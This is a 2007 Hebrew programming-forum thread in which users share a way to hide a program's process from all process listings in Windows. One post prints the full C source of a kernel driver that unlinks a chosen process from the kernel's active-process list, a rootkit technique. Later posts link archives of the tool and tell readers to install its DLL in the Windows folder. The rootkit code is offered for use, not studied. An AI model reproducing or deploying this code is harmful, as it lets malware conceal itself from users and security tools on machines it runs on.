לוגו אתר Fresh          
 
 
  אפשרות תפריט  ראשי     אפשרות תפריט  צ'אט     אפשרות תפריט  מבזקים     אפשרות תפריט  צור קשר     חץ שמאלה ‎print ‎"Hello World!"; if‎ ‎not rules.‎know ‎then rules.‎read(); חץ ימינה  

לך אחורה   לובי הפורומים > מחשבים > תכנות ובניית אתרים
שמור לעצמך קישור לדף זה באתרי שמירת קישורים חברתיים
תגובה
 
כלי אשכול חפש באשכול זה



  #1  
ישן 12-12-2007, 05:14
צלמית המשתמש של maorosh
  maorosh maorosh אינו מחובר  
 
חבר מתאריך: 20.03.07
הודעות: 502
קוד חדש - מעלים את השם של הפרוייקט שלך מכל התהליכים במחשב

שנתיים חיפשתי אחד .... בסוף מצאתי .... והחלטתי להיות נחמד ולשתף אתכם בקוד שמצאתי ...

בעיקרון יש בעייה אחד אם מנסים להפעיל אותו ככה סתם עם הפרוייקט שלכם דרך VB, הוא משלח את ה Windows לכל הרוחות, אז צריך לבטל זמנית את ה Timer ואת ה Form_load, ואז תעשו Debug חופשי

מתיי שסיימתם תחזירו את הכל איך שהיה ותעשו מזה EXE ,,. ....

((( נ.ב. לפעמים הקובץ הפעלה אוהב לתקוע ת'מחשב אז אל תנסו לשחק איתו יותר מדיי .... )))

מעלים מעלים <<< >>> הוא לא יופיע גם אם תשברו ותפרצו את ה Windows ... גם דרך DOS או דרך הכלי של Synterl, ויש עוד משהו קטן ...

הוא מייצר בנוסף לקובף הפעלה קובץ DLL נוסף בשם "Interop.PSLib.dll", תשאירו אותו באותו תיקייה של הפרוייקט.

עוד משהו, כל ניסיון לשנות את מיקום ה "PSlib.dll" (לא Interop.PSLib.dll) ב reference יעלה בתוהו, ... <<בדוק>> אז פשוט תשימו אותו בתיקיית Windows בלי לשנות שום דבר .... ב reference.


-- הקישור צונזר ע"י מנהל הפורום, להבא - נא לא לצרף קבצי EXE להודעות בפורום מחשש לוירוסים --
_____________________________________


נערך לאחרונה ע"י Humbug בתאריך 12-12-2007 בשעה 08:23. סיבה: מדיניות הפורום - אין לצרף קובץ EXE להודעה.
תגובה ללא ציטוט תגובה עם ציטוט חזרה לפורום
  #5  
ישן 14-12-2007, 08:03
צלמית המשתמש של Humbug
  משתמש זכר Humbug Humbug אינו מחובר  
אדמין לשעבר
 
חבר מתאריך: 25.10.01
הודעות: 20,292
הקוד שעומד מאחורי PSLib.dll
בתגובה להודעה מספר 1 שנכתבה על ידי maorosh שמתחילה ב "קוד חדש - מעלים את השם של הפרוייקט שלך מכל התהליכים במחשב"

הנה הקוד:
קוד:
#include"ntddk.h" typedefunsignedlong DWORD; typedef DWORD * PDWORD; typedefunsignedlong ULONG; const WCHAR deviceLinkBuffer[] = L"\\DosDevices\\hideproc"; const WCHAR deviceNameBuffer[] = L"\\Device\\hideproc"; int FLINKOFFSET; int PIDOFFSET; int AUTHDONE; KIRQL oldlvl; DWORD FindProcessEPROC(int); void AddProcessToCRP(int); NTSTATUS DeviceDispatch(IN PDEVICE_OBJECT, IN PIRP); NTSTATUS DeviceUnload(IN PDRIVER_OBJECT); NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ) { NTSTATUS ntStatus; UNICODE_STRING deviceNameUnicodeString; UNICODE_STRING deviceLinkUnicodeString; PDEVICE_OBJECT devObject; RtlInitUnicodeString (&deviceNameUnicodeString, deviceNameBuffer ); RtlInitUnicodeString (&deviceLinkUnicodeString, deviceLinkBuffer ); ntStatus = IoCreateDevice ( DriverObject, 8, // exchange buffer length &deviceNameUnicodeString, FILE_DEVICE_UNKNOWN, 0, TRUE, &devObject ); if(! NT_SUCCESS(ntStatus)) { return ntStatus; } ntStatus = IoCreateSymbolicLink (&deviceLinkUnicodeString, &deviceNameUnicodeString ); if(! NT_SUCCESS(ntStatus)) { IoDeleteDevice(DriverObject->DeviceObject); return ntStatus; } DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] = DriverObject->MajorFunction[IRP_MJ_CREATE] = DriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceDispatch; DriverObject->DriverUnload = DeviceUnload; AUTHDONE=0; return STATUS_SUCCESS; } NTSTATUS DeviceUnload(IN PDRIVER_OBJECT DriverObject) { UNICODE_STRING deviceLinkUnicodeString; PDEVICE_OBJECT p_NextObj; p_NextObj = DriverObject->DeviceObject; if (p_NextObj != NULL) { RtlInitUnicodeString( &deviceLinkUnicodeString, deviceLinkBuffer ); IoDeleteSymbolicLink( &deviceLinkUnicodeString ); IoDeleteDevice( DriverObject->DeviceObject ); return STATUS_SUCCESS; } return STATUS_SUCCESS; } NTSTATUS DeviceDispatch( IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp ) { PIO_STACK_LOCATION irpStack; PVOID buff = 0; NTSTATUS ntstatus; int find_PID = 0; int authcode = 0; DWORD eproc = 0; PLIST_ENTRY plist_active_procs = NULL; ntstatus = Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; irpStack = IoGetCurrentIrpStackLocation (Irp); switch (irpStack->MajorFunction) { case IRP_MJ_CREATE: break; case IRP_MJ_SHUTDOWN: break; case IRP_MJ_CLOSE: break; case IRP_MJ_DEVICE_CONTROL: buff=Irp->AssociatedIrp.SystemBuffer; switch (irpStack->Parameters.DeviceIoControl.IoControlCode) { case 1002: // auth if (!AUTHDONE) { authcode=((int) (*(int *)buff)); if ( authcode == 5281982 ) { AUTHDONE=1; Irp->IoStatus.Information = 100; } } else// add proc to CPRs { if (FLINKOFFSET == 0 || PIDOFFSET == 0) { Irp->IoStatus.Information = 1; // not init break; } find_PID = (int) (*(int *)buff); if (find_PID==0) { Irp->IoStatus.Information = 2; // zero pid/eproc break; } AddProcessToCRP(find_PID); } break; case 1000: // initialize offsets (1000) if (!AUTHDONE) break; PIDOFFSET = (int) (*(int *)buff); FLINKOFFSET = (int) (*((int *)buff+1)); break; case 1001: // hide proc (1001) if (!AUTHDONE) break; if (FLINKOFFSET == 0 || PIDOFFSET == 0) { Irp->IoStatus.Information = 1; // not init break; } find_PID = (int) (*(int *)buff); if (find_PID==0) { Irp->IoStatus.Information = 2; // zero pid break; } eproc = FindProcessEPROC(find_PID); if (eproc == 0) { Irp->IoStatus.Information = 3; // invalid pid KeLowerIrql(oldlvl); break; } Irp->IoStatus.Information = eproc; plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); *((DWORD *)plist_active_procs->Blink) = (DWORD) plist_active_procs->Flink; *((DWORD *)plist_active_procs->Flink+1) = (DWORD) plist_active_procs->Blink; KeLowerIrql(oldlvl); break; } break; } IoCompleteRequest( Irp, IO_NO_INCREMENT ); return ntstatus; } DWORD FindProcessEPROC (int terminate_PID) { DWORD eproc = 0x00000000; int current_PID = 0; int start_PID = 0; int i_count = 0; PLIST_ENTRY plist_active_procs; if (terminate_PID == 0) return terminate_PID; eproc = (DWORD) PsGetCurrentProcess(); start_PID = *((DWORD*)(eproc+PIDOFFSET)); current_PID = start_PID; KeRaiseIrql(DISPATCH_LEVEL,&oldlvl); while(1) { if(terminate_PID == current_PID) return eproc; elseif((i_count >= 1) && (start_PID == current_PID)) { return 0x00000000; } else { plist_active_procs = (LIST_ENTRY *) (eproc+FLINKOFFSET); eproc = (DWORD) plist_active_procs->Flink; eproc = eproc - FLINKOFFSET; current_PID = *((int *)(eproc+PIDOFFSET)); i_count++; } } } void AddProcessToCRP(int eproc) { DWORD ep = eproc+FLINKOFFSET; PLIST_ENTRY plist_active_procs; plist_active_procs = (LIST_ENTRY *) (ep); *((DWORD *)plist_active_procs->Blink) = *((DWORD *)plist_active_procs->Flink+1) = ep; }
_____________________________________
דורון

תגובה ללא ציטוט תגובה עם ציטוט חזרה לפורום
  #6  
ישן 14-12-2007, 13:45
צלמית המשתמש של maorosh
  maorosh maorosh אינו מחובר  
 
חבר מתאריך: 20.03.07
הודעות: 502
נפתרה עוד בעייה
בתגובה להודעה מספר 5 שנכתבה על ידי Humbug שמתחילה ב "הקוד שעומד מאחורי PSLib.dll"

הייתה בעייה ב DLL שהוא החליט לפעול דווקא באותו מחשב שהוא קומפל ....
אז בדקתי עם ה DLL המקורי ....ומסתבר שהוא פועל בכל מחשב ......

עכשיו זה פועל פרפקט (בכל מחשב >>> בדוק .... ניסיתי את ה DLL הזה בכמה מחשבים והוא עבד יופי ...)
לינק:

https://2007-uploaded.fresh.co.il/2...14/37803072.rar

הנה עוד תוכנה, תנסו גם את זה.
לינק:

https://2007-uploaded.fresh.co.il/2...14/47787094.rar
(זה לא כמו התוכנה שמקורית שהייתה באתר, שלי יותר יפה וגם עם תוספות ((: )

אל תשכחו לשים את PSLib, בתוך ... c:\windows

נ.ב., אני לא יצרתי את השטות הזאת LOL, מישהו בשם salim adal עשה את זה ....
רק שיניתי כמה דברים בגרסה שלו ....
_____________________________________


נערך לאחרונה ע"י maorosh בתאריך 14-12-2007 בשעה 13:50.
תגובה ללא ציטוט תגובה עם ציטוט חזרה לפורום
תגובה

כלי אשכול חפש באשכול זה
חפש באשכול זה:

חיפוש מתקדם
מצבי תצוגה דרג אשכול זה
דרג אשכול זה:

מזער את תיבת המידע אפשרויות משלוח הודעות
אתה לא יכול לפתוח אשכולות חדשים
אתה לא יכול להגיב לאשכולות
אתה לא יכול לצרף קבצים
אתה לא יכול לערוך את ההודעות שלך

קוד vB פעיל
קוד [IMG] פעיל
קוד HTML כבוי
מעבר לפורום



כל הזמנים המוצגים בדף זה הם לפי איזור זמן GMT +2. השעה כעת היא 01:34

הדף נוצר ב 0.05 שניות עם 12 שאילתות

הפורום מבוסס על vBulletin, גירסא 3.0.6
כל הזכויות לתוכנת הפורומים שמורות © 2026 - 2000 לחברת Jelsoft Enterprises.
כל הזכויות שמורות ל Fresh.co.il ©

צור קשר | תקנון האתר